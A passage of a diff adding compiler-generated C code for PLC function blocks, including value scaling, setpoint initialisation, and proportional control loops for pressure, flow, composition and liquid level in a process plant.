__INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + 